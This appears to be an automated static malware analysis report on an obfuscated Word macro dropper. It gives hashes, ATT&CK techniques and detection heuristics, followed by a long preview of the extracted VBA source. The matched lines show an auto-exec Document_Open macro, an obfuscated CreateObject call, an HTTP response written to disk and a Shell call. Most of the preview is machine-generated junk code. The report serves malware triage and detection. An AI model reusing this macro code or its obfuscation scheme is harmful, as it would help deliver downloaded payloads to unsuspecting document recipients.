Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9a2053a2d0ce0db3…

MALICIOUS

Office (OLE)

854.0 KB Created: 2018-07-19 03:15:00 Authoring application: Microsoft Office Word First seen: 2019-10-30
MD5: 61ef2cb0dd04fa9ac1f3593150d4f025 SHA-1: a26769824c03177e82ea5c8ca9fb1ee7f3fba6bd SHA-256: 9a2053a2d0ce0db35d134e489ffdcab8e35a9e24e7a6db9878a34b95a7790bdb
360 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing a large, obfuscated VBA macro. Critical heuristics indicate the macro attempts to download and execute a file from the internet using HTTP and the Shell function. The macro is identified as an auto-exec loader, suggesting its primary purpose is to fetch and run a secondary payload.

Heuristics 11

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
                Shell (AgtEmIp), 0
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        olModWT = kfCnrI.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set kfCnrI = CreateObject("" & "" & VLlJZik("MviDc(raoCs.o)fItO.jXiMNLrHFTkTQP)") & "" & "")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set kfCnrI = CreateObject("" & "" & VLlJZik("MviDc(raoCs.o)fItO.jXiMNLrHFTkTQP)") & "" & "")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Call BzNqOX.SaveToFile(Environ(VLlJZik("A%l.lBUCsmemr_s)PerQo*fsiMlwe?")) & VLlJZik("\y\bY&pXvaMGUnvl.NepxAeL"), 2 + 1 - 1)
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 230154 bytes
SHA-256: 4a47c3791e537e660f39ea31569475efc6db87a65b5a40f0a9f824897b9b7710
Detection
ClamAV: No threats found
Obfuscation or payload: likely
2117 of 3175 identifiers look randomly generated (e.g. 'wBQelvCxfRAmFalANyDAHemsSsLVyVKAFQAS') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub tkrHTe(kbLeSQn As String, WTWXZdB As Double, TnBxZoT As Integer, DpGHdVP As Boolean, aQIxrXU As Boolean)
    jwNRahOYDlJ = Space(19)
    mAEtxuv = Space(19)
    For YaWLcX = 0 To 2
        While mOiBDF < 5
            UMDHaZkttp = Space(8)
            NQvPDnmuLvtR = RTrim(")FLfyXtUqhlQo%dNxqK")
            shIqMKkHE = LTrim("lIMzefHDE]aNJTJSw")
            cgIsm = "#.Uo@V!sSqCL" + "?E@tnZodC?_gS)ukmMOU" + "Ybovo!]vZbI"
            UMDHaZkttp = Left("nm?u?JfJkhMVp#", 3)
            kVkUkIEpMLEs = Left("LjTS#*.Ehq", 2)
            kVkUkIEpMLEs = UCase("R^ .vt!?evbC)?fKHe")
            NQvPDnmuLvtR = UCase("krMz]ZN@wP(%SmyGzG")
            cgIsm = RTrim("nL$oj$PQi_ c[(Bj")
            mOiBDF = mOiBDF + 2
        Wend

        shIqMKkHE = 1324 - 1980 - 603
        AFUQNvlsHn = RTrim("&iX)h?g?nLwGKUj[lGt")
        wtLCrbqbc = UCase(" MMxv$?-RoP*Ag.#)D")
        wtLCrbqbc = 1865 - 970 - 1640
        wtLCrbqbc = 1069 + 1267 + 1598
        UMDHaZkttp = Right("B-(w$ji^nFE", 5)
        AFUQNvlsHn = Right("N$adLwPf-vxi[fS", 4)
        UMDHaZkttp = Space(9)
    Next YaWLcX

    NQvPDnmuLvtR = "T)KG_*ErsopcaI@R" + "gM?^WFA^@fsA]Y" + "ylaDT$_vGw"
    shIqMKkHE = StrReverse("xdrQrQMcX_grP*mN(z")
    ElVFsuBa = Left("fQzDfXtNmaBredaxx", 5)
    jwNRahOYDlJ = LTrim("bJywvo]]&zg^")
    NQvPDnmuLvtR = Space(8)
    cgIsm = 1689 - 1088 - 589
    kVkUkIEpMLEs = LTrim("gmU!f%!f(oFswIkT#Oh")
    NQvPDnmuLvtR = Right("TD e)(MIXXMUJc.iw*n", 4)
    UMDHaZkttp = 1121 + 991 + 1388
    cgIsm = Left(" JE#Cfb.CXLL]yJr", 3)
    jwNRahOYDlJ = 148 + 1713 + 395
    jwNRahOYDlJ = LTrim("!y&Wibru*h!Hebrzb*Ub")
    AFUQNvlsHn = UCase("(&jWl ZdTvC)PYk")
    UMDHaZkttp = "$on#EmAz^DsMoBiyHAQM" + "$FGx&fSJGFsvk-sJHs" + "lS*]jlMQ)O*"
    cgIsm = 1206 + 388 + 1274
    AFUQNvlsHn = 429 - 1668 - 1056
    kVkUkIEpMLEs = LTrim("RI-.YVEw)r-")
    cgIsm = "vtM?MQi@ u@$hp#sO ?F" + "&Z_WzM]oyjQZKuK@m" + "YgYlaZzIYk.-#GC"
    NQvPDnmuLvtR = 1303 + 1612 + 564
    kVkUkIEpMLEs = Right("M)gKaB%agMb", 3)
    ElVFsuBa = RTrim("TzkEPnuDct#KmbCZ")
    shIqMKkHE = UCase("%MCWUzK#Ys^.GFH$$J")
    shIqMKkHE = Right("[go^&w#BHuLblcfdd_M", 4)
End Sub

Private Sub fEWvVb(zjORua As String)
    shIqMKkHE = StrReverse("*#D]i..MFr#d))")
    NQvPDnmuLvtR = Space(3)
    AFUQNvlsHn = Left("rO!&DUCGzfG-(t*AX", 5)
    For RSbzhI = 0 To 8
        kVkUkIEpMLEs = Space(9)
        kVkUkIEpMLEs = StrReverse("nCYG#FO?S#i-")
    Next RSbzhI

    mAEtxuv = UCase("JzhD]LtQyGHB]x^Kp")
    shIqMKkHE = RTrim("Gl[YCelR@mI")
    kVkUkIEpMLEs = StrReverse("IW-T?Clf[Q")
    jwNRahOYDlJ = " wlVP^xtcN" + "#?Z-xOisS#zjgioS" + "@c^AH]PYCS&jpXC"
    kVkUkIEpMLEs = Left("GyHrZEBKb%)LLCs)Fub", 2)
    shIqMKkHE = Left("J&TmwO&%YU", 5)
    NQvPDnmuLvtR = LTrim(".NxYjZS[PdVt?fo")
    cgIsm = Right(".(gevyWekMVK..", 3)
    wtLCrbqbc = LTrim("sFiIkiFdxtz!XmW-")
    mAEtxuv = RTrim("J]xcE?KwmW! JSe.")
    shIqMKkHE = Right("MO VBIp)QUuL[JB?G", 5)
    While qqTsLF < 3
        For uQZLSk = 0 To 7
            ElVFsuBa = "uwqP&fcpT.W" + "CbAmoEqSfQeZ(wN" + "%]A]RtqTm#(w[%"
            cgIsm = LTrim("MWAJ?EZ]&KCcBj[u")
            kVkUkIEpMLEs = StrReverse("aFm^gsRp-fh[E")
            jwNRahOYDlJ = RTrim("M!V?UrVjZIMm?sCMYC@p")
            AFUQNvlsHn = 1709 - 1687 - 128
        Next uQZLSk

        shIqMKkHE = Left("&_iKoWsnLKM&UdK", 3)
        cgIsm = LTrim("BAZwjIevtWN.")
        kVkUkIEpMLEs = Space(14)
        qqTsLF = qqTsLF + 2
    Wend

    UMDHaZkttp = UCase("BAUsEpnw.(^RZWDo")
    cgIsm = "Nog^FBMJZIJFDl" + "CJl&G&cLB#Ix@(h$ofAV" + "E*nHqN Z#Mk"
    For OLKeFS = 0 To 4
        For UwHWEe = 0 To 5
            jwNRahOYDlJ = Left("vZAoVTlJoMc?wrc", 3)
            jwNRahOYDlJ = StrReverse("(^$-oVdHR#?xXvPl@C(")
            shIqMKkHE = 1479 + 306 + 1092
            ElVFsuBa = LTrim("koYTHHvEY^-?!wh[")
            mAEtxuv = LTrim("BYZjei]exD%D(kWG")
            shIqMKkHE = RTrim("D^[*cO$&E[$u[[")
            wtLCrbqbc = Right(" ])DbeAVW)OpojxJl$O", 5)
            UMDHaZkttp = Space(1)
            ElVFsuBa = 1796 - 1496 - 656
            UMDHaZkttp = LTrim("hpPzjCI$cBx!U(")
        Next UwHWEe

        ElVFsuBa = Right("KJwF_a)YQjw", 3)
        wtLCrbqbc = Right("f&QS!unj?HUh$D", 5)
        shIqMKkHE = Left("$[__DFmEhx]Ye]Ug@a", 5)
        kVkUkIEpMLEs = 1138 - 1965 - 1819
        wtLCrbqbc = UCase("k(TFpMx[RIbk")
        UMDHaZkttp = 1910 + 306 + 1868
        shIqMKkHE = LTrim("pD*H-FsPpz_-sdz")
        UMDHaZkttp = LTrim("rAYBn(WpjklJkf^y!")
    Next OLKeFS

    ElVFsuBa = "gjjY.vMUqYjJVp" + ".IEbLK##^zFrN^!VLh]" + ")Rv[^SI_yyZg"
    cgIsm = UCase("^c$CfZRV&dGedcnL!")
    cgIsm = 415 - 1873 - 455
    UMDHaZkttp = RTrim("pZpCXdoJqvnzg")
    wtLCrbqbc = Space(12)
    kVkUkIEpMLEs = StrReverse("cJS]KyPcxnHD-g x")
    ElVFsuBa = UCase("AlE]z OaxYXfcJhA*[ R")
    While mWeahE < 5
        While WSRGAc < 2
            wtLCrbqbc = Right("ae_aNaoIFvYG", 5)
            ElVFsuBa = "QdFiS@!xJnjGYjZfTyqp" + "HZ#BzYChG[KKH*!GYWlF" + "_Nvozkin^nK(b$n.#do"
            ElVFsuBa = Right("]-TozKA@iXndr", 3)
            WSRGAc = WSRGAc + 2
        Wend

        NQvPDnmuLvtR = Space(19)
        NQvPDnmuLvtR = StrReverse(")mTGeUmDthltd?$")
        mAEtxuv = "as&I-xpSnDmyZA^x)" + "A&JHIhRxMc)Wk" + "qU)QI-AASKuiPHxsf"
        jwNRahOYDlJ = Space(1)
        ElVFsuBa = 1173 - 1924 - 1856
        shIqMKkHE = 206 - 639 - 1838
        UMDHaZkttp = 1850 - 1067 - 1859
        UMDHaZkttp = RTrim("g?UB^q&Q^e^YRx* B[Fd")
        wtLCrbqbc = Left("OW$.QA#hgO&Rez?(bMgV", 3)
        mWeahE = mWeahE + 3
    Wend

    AFUQNvlsHn = "t^*eTbjt!ISZ(CN.qjQ" + "ydRqftIhZ.q%Am!#" + "hX]#!csNxDh ay^I$PsB"
End Sub

Private Function VXdDOX(bjxFnSP As Boolean, kyPNDO As String, CPtLIaJ As Boolean) As String
    For ApWyzC = 0 To 7
        shIqMKkHE = RTrim("F#JQEn rUEt-YZnnM&")
        UMDHaZkttp = StrReverse("LyAD[tbt SAYAb")
        NQvPDnmuLvtR = StrReverse("XxQX$gm-Ny?OTtiT")
        wtLCrbqbc = UCase("MS!DL[I(IGT$-ZUpN*HP")
        mAEtxuv = LTrim("E(pR&SFmbJ")
        cgIsm = StrReverse("oa(#)@hvmmDWy")
        mAEtxuv = "Cid[_r*CE)U" + "iRGtT% Aav [@V" + "?skutzZczshAu"
    Next ApWyzC

    NQvPDnmuLvtR = StrReverse("shMOuRE&Q*]Qw")
    kVkUkIEpMLEs = Left("F?TJMj]BztdTR]RFQ", 4)
    For bHBIra = 0 To 7
        AFUQNvlsHn = 1429 - 726 - 798
        shIqMKkHE = LTrim("ab_[DMUIsS%Bz[Mo")
        ElVFsuBa = RTrim("CA?b-IYREf")
        kVkUkIEpMLEs = StrReverse("AF&wTGDm?XfvkuU_d%P")
        NQvPDnmuLvtR = LTrim("V*VFucH(!JAeb")
        kVkUkIEpMLEs = StrReverse("@!b O.(Blw&UIpN]K")
        UMDHaZkttp = 613 - 1242 - 669
        kVkUkIEpMLEs = Right("YXV%z$pB(%!i$Upk", 5)
    Next bHBIra

    AFUQNvlsHn = Left("_Ln?bgHxYh^)VSj Eg!q", 5)
    ElVFsuBa = 194 - 838 - 830
    AFUQNvlsHn = RTrim("t[yAkgmNeQc*j!cY_")
    wtLCrbqbc = LTrim("BNwnqCs(UG]_bwj vf")
    kVkUkIEpMLEs = Right("hSkP(@SrLz!$[", 2)
    jwNRahOYDlJ = UCase("#%C*F?ewaiJZ!")
    AFUQNvlsHn = RTrim("]UY!*o(OCp@Pky  &p")
    shIqMKkHE = RTrim("WNYP.ldI$J")
    For knlIXP = 0 To 5
        While MTErgQ < 5
            wtLCrbqbc = Right("FFlwvfL)-_*#gb", 5)
            shIqMKkHE = Space(16)
            NQvPDnmuLvtR = LTrim("hTLPyrT.u_sxlY")
            AFUQNvlsHn = 334 + 646 + 482
            kVkUkIEpMLEs = "%XBAK$.jor#O" + "NzvN@bKZ*G?v" + "M?xSg?z#bYausYwdvnZ"
            AFUQNvlsHn = LTrim("OZ!sOjv@(d$UI[AUd")
            shIqMKkHE = Space(20)
            jwNRahOYDlJ = Space(20)
            ElVFsuBa = 489 - 706 - 1445
            shIqMKkHE = StrReverse("#hl[$FM*Lhk.M")
            MTErgQ = MTErgQ + 3
        Wend

        UMDHaZkttp = UCase("Ezij]hi.IpLCRjfb")
        cgIsm = Space(3)
        shIqMKkHE = Left("Ot](e G&sInp", 4)
        kVkUkIEpMLEs = Right("HI#$$p[tliJ].Q!pPg", 5)
        cgIsm = RTrim("t^H#IHAo_kbHU")
    Next knlIXP

    jwNRahOYDlJ = RTrim("s@RYFnP(eYowuFY")
    AFUQNvlsHn = 1566 - 1421 - 1106
    mAEtxuv = 1335 + 546 + 1089
    UMDHaZkttp = Right("Y^jZW-.)wJS_OTe&*H", 2)
    cgIsm = UCase("GXbOLpDgW!]DJqCsSnQO")
    cgIsm = 1321 + 1132 + 978
    mAEtxuv = RTrim("rosljYQbpH__!Y")
    jwNRahOYDlJ = RTrim("aGm]XV[a^cRrzIH")
    kVkUkIEpMLEs = Left("^XoVs@WhqP", 4)
    cgIsm = UCase("MIcFWmJ]QL]o($")
    AFUQNvlsHn = "Ovy@kFx.HSfd.x" + "YdIU^rcQO^baB%JGTm)F" + "^-%QXiampZ.zJiblp"
    kVkUkIEpMLEs = UCase("oIwiM[Drh Nk%SCz%p")
    NQvPDnmuLvtR = StrReverse("auL*zTI$GTTnvuk)AI@(")
    shIqMKkHE = "&#a*o*l_mIYp[_jJ" + "rF%KhhHM.L" + "jyzIKzwT_$WcisHT"
    NQvPDnmuLvtR = UCase("RiF]K@eUdqKTcGyk?Rd")
    kVkUkIEpMLEs = 687 - 774 - 1693
    wtLCrbqbc = LTrim("XoKpKzFAUo_W?J?iJU")
    NQvPDnmuLvtR = RTrim("vH#FkVwgGZ$EhT")
    cgIsm = 1364 + 1695 + 637
    VXdDOX = "oDpBQqxonPYWUrgLAZezjmCkligWgBsL"
End Function

Private Sub dleWwg(eYrwaX As Boolean, lgLRlRp As Boolean, qsHeRzb As Boolean, tuIDCX As String)
    AFUQNvlsHn = 635 - 1984 - 511
    jwNRahOYDlJ = 695 + 1083 + 529
    AFUQNvlsHn = Space(14)
    wtLCrbqbc = Space(19)
    kVkUkIEpMLEs = StrReverse("rc#@M^bfxM?W[LwY")
    kVkUkIEpMLEs = Space(12)
    wtLCrbqbc = UCase("NdF@rzqJDEa&$")
    AFUQNvlsHn = RTrim("hrprErE!wlIwW$U  j")
    kVkUkIEpMLEs = Left("NNE[ym-.maq", 4)
    kVkUkIEpMLEs = Right("#myWhz@o&f^j$QoB", 4)
    shIqMKkHE = Space(9)
    mAEtxuv = "G$un?[xSrZV%c&" + "AhHA@^D&yPDpPq" + "AM&ILs%as lB"
    NQvPDnmuLvtR = UCase("^QLzs._BHiZmljt")
    For iXSQOZ = 0 To 4
        For UgnEma = 0 To 5
            AFUQNvlsHn = StrReverse("P-geOtmCsdLVYIAjkEg")
            wtLCrbqbc = Right("[hr&H]*^AtjZ#-OT", 5)
            shIqMKkHE = 1087 + 713 + 996
            kVkUkIEpMLEs = RTrim("%Svxcyw%hUfq.vp)?vjO")
            shIqMKkHE = 1349 - 1097 - 1247
            NQvPDnmuLvtR = Left("CVzAfJvTrA]eM-s*@", 2)
            NQvPDnmuLvtR = UCase("*G?xbUboJR")
            UMDHaZkttp = 1970 + 1104 + 1540
        Next UgnEma

        kVkUkIEpMLEs = Space(13)
        mAEtxuv = 265 - 1953 - 1604
        wtLCrbqbc = RTrim("rongHpg_-]r ]")
        shIqMKkHE = 1000 + 431 + 195
        jwNRahOYDlJ = Space(6)
        kVkUkIEpMLEs = 147 + 1144 + 1382
        NQvPDnmuLvtR = "kqqSllJ!Om$h^CX#" + "wASi?tDIjpm#" + "cUWhRod)Q[zOkgmMX"
        ElVFsuBa = Left("GXSpR!xAsEKNTjGux", 2)
    Next iXSQOZ

    ElVFsuBa = StrReverse("Fe%F)dX_#wLs!")
    UMDHaZkttp = StrReverse("DhH)pJ^XPR@[k wLQ")
    wtLCrbqbc = Right("@RwoVWEdkQZ", 5)
    kVkUkIEpMLEs = 1843 + 558 + 1194
    NQvPDnmuLvtR = UCase("llc.)&F!K^rB^)nA)Q")
    jwNRahOYDlJ = UCase("[ladQVhjefqEUI#QAUe&")
    shIqMKkHE = "?sZn^ODpF!aol" + "WbxTWQdj#]?I" + "-Fnl$c^FDl)LqO"
    NQvPDnmuLvtR = 1685 - 1812 - 1623
    UMDHaZkttp = StrReverse("^l_rlmYFEyc#$hdGqKuH")
    For oYEsfi = 0 To 6
        jwNRahOYDlJ = Space(7)
        cgIsm = 1831 + 1210 + 1838
        kVkUkIEpMLEs = 494 + 1929 + 1207
        NQvPDnmuLvtR = Left("yayIR)dRl&]kpBf", 3)
        ElVFsuBa = UCase("wUsBr%!ha&N%m!Y")
    Next oYEsfi

    kVkUkIEpMLEs = StrReverse("a((u(e@WDza GEg")
    mAEtxuv = Space(4)
    mAEtxuv = UCase("T$v@?Ti-_ju&xHCZ")
    ElVFsuBa = 1791 + 149 + 101
    ElVFsuBa = RTrim("vE?uHnEf@nRM-b?.")
    cgIsm = Right("]LmvIWFFzF(tfbC *XE", 4)
    wtLCrbqbc = LTrim(")aQtLbHebHM")
End Sub

Private Sub naxVPy(ageBcwa As Boolean)
    mAEtxuv = StrReverse("LQoXrA]RP)WPRw")
    For foXQPg = 0 To 8
        cgIsm = 385 - 743 - 599
        shIqMKkHE = UCase("DBOd&(T%B?*ttO*")
        cgIsm = RTrim("AGgrlOrSoCWv-")
        UMDHaZkttp = 806 + 253 + 491
        UMDHaZkttp = Right("d!)AP^v&%FTCS!]tz_c", 3)
        AFUQNvlsHn = LTrim("$nuYKwv. ]@I%gnFDK-k")
        shIqMKkHE = Space(20)
    Next foXQPg

    cgIsm = 258 - 1679 - 1934
    kVkUkIEpMLEs = Space(12)
    ElVFsuBa = Right("*Y_Ca_Vh!A", 2)
    UMDHaZkttp = "@vB.amX$qqg#Zy)uFP" + "nUzrHldsIP" + "jt_AWFHPMow NRC[*c*l"
    ElVFsuBa = "-.Um[UyqP.deWo" + "wLa@vKZu?Ig.Kp.JQMh" + "n[F(z.LQkTFg %vygc"
    kVkUkIEpMLEs = RTrim("UKQtRFmvdNqqmI")
    ElVFsuBa = RTrim("r)k)MVnGutm")
    UMDHaZkttp = 366 + 764 + 1907
    kVkUkIEpMLEs = RTrim("ocZZ&j.s#XYSWWP.LTg")
    wtLCrbqbc = LTrim("XwWx)wXoWTmLDpo[]Q%")
    jwNRahOYDlJ = Right("Q%HhQYqsjIJws$meni", 2)
    ElVFsuBa = StrReverse("PCfBuhhCS mmtRZj")
    ElVFsuBa = "IorQ_w(gC*fy?TKYzj" + "CkJ_bAs(tH?C" + "$jYp-J_^eb"
    wtLCrbqbc = "nK.U]cHgOEwpk" + "eQBB@twfkCBVY" + "$f.nP.QIplJhsIe"
    wtLCrbqbc = LTrim("LvLbLFaV?qgHXV SlJ")
    wtLCrbqbc = 1202 + 106 + 847
    AFUQNvlsHn = Left("k#d%FlrMXBGkb)", 2)
    mAEtxuv = Space(17)
    wtLCrbqbc = 1644 - 1069 - 1070
    jwNRahOYDlJ = 1990 + 375 + 1517
    kVkUkIEpMLEs = LTrim("*DrbfLiTPqXFNWVm")
    NQvPDnmuLvtR = 879 - 1824 - 1794
    mAEtxuv = LTrim("I hgEGrLAkBwz)xkS!")
    cgIsm = UCase("-Qc!H?At)jZ.Ik")
    kVkUkIEpMLEs = Left("fXEiJ?#xhI", 4)
    mAEtxuv = RTrim("JzBPU@oaKzJ_")
    shIqMKkHE = 1960 + 717 + 539
End Sub

Private Sub ZGrvRV(LOqqjX As Integer, sNPlqez As Double, gUyfpRV As String)
    kVkUkIEpMLEs = Right("Qf^Zv*a js_zoVqlg", 5)
    ElVFsuBa = Left("Rqb*PzLvqH]%vEO", 3)
    AFUQNvlsHn = Left("xFpSa[X^Dk@v", 5)
    While bBpCOp < 1
        kVkUkIEpMLEs = 1968 - 1166 - 1144
        shIqMKkHE = Left("pD#Ty?e!$)^yV", 2)
        shIqMKkHE = 1221 + 161 + 701
        wtLCrbqbc = LTrim("@M%fmgip$rOHPP$UFnb#")
        mAEtxuv = "Dj[(-cGi$cMARfWOg" + "Ajrf$WifgjO((Qg[iHTy" + "Z$O% HTLWH?%lB"
        AFUQNvlsHn = Left("lBtEr NZFHO..D", 4)
        ElVFsuBa = "uS@FDUcNzyZCF- ?D k" + "^(?XBGWCJA#TOip[" + "Liu![^TSeC"
        AFUQNvlsHn = LTrim("TbBZVV!WuYJ")
        bBpCOp = bBpCOp + 2
    Wend

    cgIsm = UCase("muJ^[YdYl-NwCk[f")
    shIqMKkHE = UCase(")QHJvidjBcRqTw.&KS]o")
    AFUQNvlsHn = LTrim("S*bOXQ[-jD")
    shIqMKkHE = Right(")rK#QuERoA&p.Yw", 3)
    kVkUkIEpMLEs = Left("**$B^x^(kUR%Z", 2)
    cgIsm = UCase("xV Ll(hxkRFM")
    kVkUkIEpMLEs = 745 + 244 + 745
    AFUQNvlsHn = UCase("UyE-hAOTaisaMUuvxo")
    UMDHaZkttp = RTrim("_N)pAb@GJ^qA*[p")
    While Dbbrle < 2
        For DOrHiC = 0 To 8
            wtLCrbqbc = Left("ceQdW%TCV)#PCd", 5)
            UMDHaZkttp = Right("fcI@bTZW_NoPvPrZ", 3)
        Next DOrHiC

        cgIsm = RTrim("RRe^t)-v(RDSOljHYKM ")
        UMDHaZkttp = "G%JE-gcz-K" + "x%CEvNanp(#" + "!ZPwtn#TeldAe"
        Dbbrle = Dbbrle + 2
    Wend

    AFUQNvlsHn = Right("&SMipI?#*-[BCz", 5)
    shIqMKkHE = StrReverse("AZ(u.P]Ty)Td")
    wtLCrbqbc = Right("GfatD%tjk&(e.T%_", 3)
    wtLCrbqbc = StrReverse("PWhDYkiZ)cWAM!jRo")
    AFUQNvlsHn = LTrim("CzDtau#m$N)*UlABf")
    mAEtxuv = 771 + 764 + 136
    jwNRahOYDlJ = UCase("GyUP(s_hmdgAX*Gabo")
    wtLCrbqbc = 1282 - 339 - 1404
    NQvPDnmuLvtR = Right("wnCX^.Fq?#v$%kF^jv!", 5)
    kVkUkIEpMLEs = RTrim("FyQVUkl]AFyLGcu^v")
    wtLCrbqbc = RTrim("WXZQHA&TeeY)KU")
    kVkUkIEpMLEs = Right("ljGuQiw-Yv$&^YSch", 3)
End Sub

Private Sub QhfxNm(QdRXsN As String, pqNDRu As Integer)
    jwNRahOYDlJ = UCase("LgD$nkiA--$T-r[Xt")
    NQvPDnmuLvtR = Right("OzbV[zjmduK", 3)
    NQvPDnmuLvtR = RTrim(" &I#GM$Ap)GXDKb%")
    jwNRahOYDlJ = 1440 + 515 + 1863
    shIqMKkHE = "xLICWFjGs*yk]fOd$" + "JmUA_KcsgBdism@nV-N" + "$*tzFv$J?D?YSKxx%"
    wtLCrbqbc = 859 - 1744 - 690
    ElVFsuBa = 1254 - 1308 - 253
    jwNRahOYDlJ = "dU.CiKEhx%b" + "GTCHw(&K?ddRY]^lN]SR" + "]]MYegSWHyDjITDeYc?"
    mAEtxuv = RTrim("*t?TTQevV$$kG&[(@)y")
    cgIsm = RTrim("f#-]V]yVlub")
    wtLCrbqbc = StrReverse("yj&Cxtf!W@]KFoBh*YD")
    shIqMKkHE = LTrim("?ZZSowys-fHbNTkvra")
    wtLCrbqbc = "CDbFXVQiZ-my__Q*?I" + "LbGx[q-Rgj" + ".CBmOiqZMXGAK"
    wtLCrbqbc = StrReverse("r!edK.s&okS")
    mAEtxuv = RTrim("xcaxeZObubNCQtm@z")
    cgIsm = 617 + 646 + 1637
    UMDHaZkttp = Left("%?n#ge#t#bBIr!ma", 4)
    wtLCrbqbc = 929 - 400 - 1729
    shIqMKkHE = UCase("wcQxrgN-FY#ajNMktJ")
    NQvPDnmuLvtR = Right("-!Y)WRCA[PtR", 3)
End Sub

Private Sub kXFLnf(CHQUzr As Boolean, sYsNCA As Boolean, AdJvKzN As Integer, ENqUnjv As Integer, HQmYeu As Boolean)
    AFUQNvlsHn = 220 + 1676 + 1286
    kVkUkIEpMLEs = UCase("dlf?dN%pq(")
    While BimARX < 5
        For NkGiiY = 0 To 9
            NQvPDnmuLvtR = 100 + 344 + 1044
            cgIsm = Space(9)
            ElVFsuBa = StrReverse("ptmJO_^Zq!ib")
            wtLCrbqbc = 1308 + 1139 + 1185
            mAEtxuv = Right(".J^g!SLeaN^cq)X#ngDk", 2)
            wtLCrbqbc = 589 + 767 + 1023
        Next NkGiiY

        wtLCrbqbc = LTrim("_ ULTuS-PSJEH.^isu.")
        NQvPDnmuLvtR = "WV?dv-l#Ks]Nf_eTnz." + "FYqskbSyrUkAt" + "RvzS^mrT.UdBRMsqQ"
        jwNRahOYDlJ = 289 + 1343 + 811
        NQvPDnmuLvtR = Right(".rRQGSYilCelMyimj*", 5)
        ElVFsuBa = UCase("SuFF@UlxUQ*B&")
        shIqMKkHE = RTrim("BacopBUYIdvw")
        kVkUkIEpMLEs = Right("E-xAQGB&Bk^Bn", 4)
        jwNRahOYDlJ = Right("^U[(wRUtmMt", 5)
        shIqMKkHE = Space(19)
        wtLCrbqbc = 1901 - 1348 - 1431
        BimARX = BimARX + 2
    Wend

    ElVFsuBa = Right("gAHK_LZqhfNN#", 3)
    ElVFsuBa = "(qVfpPxFgMRaokkYUp" + "S#Atp-GjGgTH" + "Hf]!lpEmReFm_"
    cgIsm = Space(14)
    For UBiwgG = 0 To 3
        While cRJoMA < 4
            wtLCrbqbc = LTrim("zuV.!MILAn#^")
            AFUQNvlsHn = Left("yy@e(D Bwo!QyB!g*Wf", 4)
            wtLCrbqbc = 1725 + 1524 + 1233
            cRJoMA = cRJoMA + 3
        Wend

        UMDHaZkttp = StrReverse("Yj?vO%Ux eifEwcS")
        cgIsm = Left("IQEx]l).?#*D", 3)
    Next UBiwgG

    ElVFsuBa = StrReverse("l%h_t-vMToTj*")
    cgIsm = LTrim("GP^lXtlYK*L%sotKB&")
    NQvPDnmuLvtR = LTrim("J^k?jU[RfdVpZk")
    cgIsm = Left("_IC)ADA-jVMZjz@Lhu", 5)
    While hmCTRm < 3
        While JZskrw < 5
            jwNRahOYDlJ = LTrim("?]sxFNa%iTDbJ*fP")
            UMDHaZkttp = 1694 + 1976 + 448
            mAEtxuv = LTrim("!CAdoJo&zWe--qHQ")
            UMDHaZkttp = RTrim("repUdB&oO_-Q@$")
            cgIsm = 261 - 1011 - 617
            shIqMKkHE = Space(7)
            shIqMKkHE = Left("(k%&bedQyuvhS", 5)
            AFUQNvlsHn = 1895 - 1395 - 1378
            kVkUkIEpMLEs = 290 + 426 + 1674
            kVkUkIEpMLEs = Right("([SV%y[J(mh^_pYc", 3)
            JZskrw = JZskrw + 3
        Wend

        UMDHaZkttp = UCase("e?D*dGm-JXU")
        cgIsm = UCase("g&(]ZU q^!Ob")
        ElVFsuBa = 1348 - 1543 - 278
        UMDHaZkttp = LTrim("p(sxg(szBpw-MNk")
        shIqMKkHE = UCase("-yn)K!aWI*o#p)nIm")
        hmCTRm = hmCTRm + 2
    Wend

    shIqMKkHE = StrReverse("zKvl^?] V- R")
    UMDHaZkttp = 505 + 157 + 1100
    jwNRahOYDlJ = Right("eYw#lSQp.sru@r", 4)
    wtLCrbqbc = UCase("iICR^[gAbfc")
    wtLCrbqbc = StrReverse("vYeh[pbuzPs*mQ")
    AFUQNvlsHn = "Gm?#XXjB*(U*tU)CU" + "Sh]DT*bPfY-ALV#" + "Coo)-&Q_DC!EWc@"
    UMDHaZkttp = 126 - 985 - 690
